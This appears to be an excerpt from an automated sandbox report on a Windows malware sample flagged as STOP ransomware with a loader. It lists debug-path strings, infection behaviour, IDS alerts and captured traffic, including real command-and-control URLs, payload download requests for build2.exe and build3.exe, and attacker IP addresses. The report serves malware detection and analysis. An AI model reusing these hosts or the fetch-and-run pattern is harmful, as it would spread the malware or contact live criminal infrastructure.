Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\* source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bugutacahi\focafizikuhubu34\so.pdb source: sbvN2ih5AU.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\, source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\0& source: sbvN2ih5AU.exe, 00000004.00000003.2312987291.0000000003A34000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313349502.0000000003A84000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2313255917.0000000003A43000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\*6 source: sbvN2ih5AU.exe, 00000004.00000003.2283617325.0000000003043000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274239702.0000000003037000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282027059.0000000003037000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\9 source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCookies\PrivacIE\od.pdb\we\w source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: sbvN2ih5AU.exe, 00000004.00000003.2303190844.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309876162.0000000003681000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305172994.000000000367A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\x\ source: sbvN2ih5AU.exe, 00000004.00000003.2276110097.0000000003550000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274850530.0000000003516000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274918914.000000000353C000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274967030.0000000003546000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\emp\ source: sbvN2ih5AU.exe, 00000004.00000003.2303910315.000000000359B000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309491163.00000000035AC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2295852109.0000000003937000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038F6000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2282223049.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283815069.000000000391F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2283412651.00000000038F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: sbvN2ih5AU.exe, 00000004.00000003.2274484738.000000000389B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\L source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2036012673.000000000305E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: e\LocalCache\Data\Google\Chrome\User Data\FileTypePolicies\emp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2309876162.0000000003681000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be source: sbvN2ih5AU.exe, 00000004.00000003.2267216698.0000000003560000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276140417.0000000003571000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274750482.0000000003566000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267389311.00000000035AC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2276376562.00000000035BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\acrobat_sbx\Adobe\d.pdb source: sbvN2ih5AU.exe, 00000004.00000003.2282473786.000000000368A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2274431291.000000000369A000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295430680.00000000036A2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2273782470.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2275943924.00000000036A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ls\ source: sbvN2ih5AU.exe, 00000004.00000003.2313309626.00000000038AA000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2309196065.00000000038A2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249849179.0000000003682000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\| source: sbvN2ih5AU.exe, 00000004.00000003.2281756024.0000000003679000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2295087180.0000000003669000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: sbvN2ih5AU.exe, 00000004.00000003.2225190557.0000000003039000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248836397.0000000003021000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249195874.000000000302D000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2249249024.0000000003050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p\Bm source: sbvN2ih5AU.exe, 00000004.00000003.2316949358.00000000038B2000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2317458173.00000000038BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\*+ source: sbvN2ih5AU.exe, 00000004.00000003.2267074228.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2267182272.00000000036E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\5 source: sbvN2ih5AU.exe, 00000004.00000003.2249901230.0000000003669000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2224935531.00000000035CC000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248204629.000000000364F000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2248950448.0000000003651000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2225126627.0000000003651000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\K source: sbvN2ih5AU.exe, 00000004.00000003.2303473920.00000000039ED000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2305478829.00000000039F3000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.2304958924.00000000039ED000.00000004.00000020.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49733 -> 175.120.254.9:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49734 -> 190.12.87.61:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49734 -> 190.12.87.61:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49735 -> 175.120.254.9:80
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49737 -> 175.120.254.9:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49737 -> 175.120.254.9:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49741 -> 175.120.254.9:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49755 -> 175.120.254.9:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://zexeq.com/test1/get.php

Source: global traffic

TCP traffic: 192.168.2.4:49742 -> 49.12.114.15:10220

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 10 Jan 2024 14:49:05 GMTContent-Type: application/octet-streamContent-Length: 367104Last-Modified: Wed, 10 Jan 2024 12:50:02 GMTConnection: closeETag: "659e927a-59a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 e6 e8 d7 24 87 86 84 24 87 86 84 24 87 86 84 3a d5 13 84 35 87 86 84 3a d5 05 84 76 87 86 84 3a d5 02 84 00 87 86 84 03 41 fd 84 27 87 86 84 24 87 87 84 78 87 86 84 3a d5 0c 84 25 87 86 84 3a d5 12 84 25 87 86 84 3a d5 17 84 25 87 86 84 52 69 63 68 24 87 86 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 02 ae 12 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 0e 04 00 00 b4 01 00 00 00 00 00 94 22 00 00 00 10 00 00 00 20 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 05 00 00 04 00 00 57 7d 06 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 55 04 00 28 00 00 00 00 10 05 00 ca c1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 48 04 00 18 00 00 00 58 48 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 04 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 79 0d 04 00 00 10 00 00 00 0e 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 3d 00 00 00 20 04 00 00 3e 00 00 00 12 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 97 00 00 00 60 04 00 00 86 00 00 00 50 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 a1 01 00 00 00 00 05 00 00 02 00 00 00 d6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 ca c1 00 00 00 10 05 00 00 c2 00 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /bg3goty HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.21.65.24 104.21.65.24
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15
Source: unknown	TCP traffic detected without corresponding DNS query: 49.12.114.15

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /bg3goty HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: brusuax.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com

Source: sbvN2ih5AU.exe, 00000004.00000003.1956742009.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: sbvN2ih5AU.exe, 00000004.00000003.1956966417.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
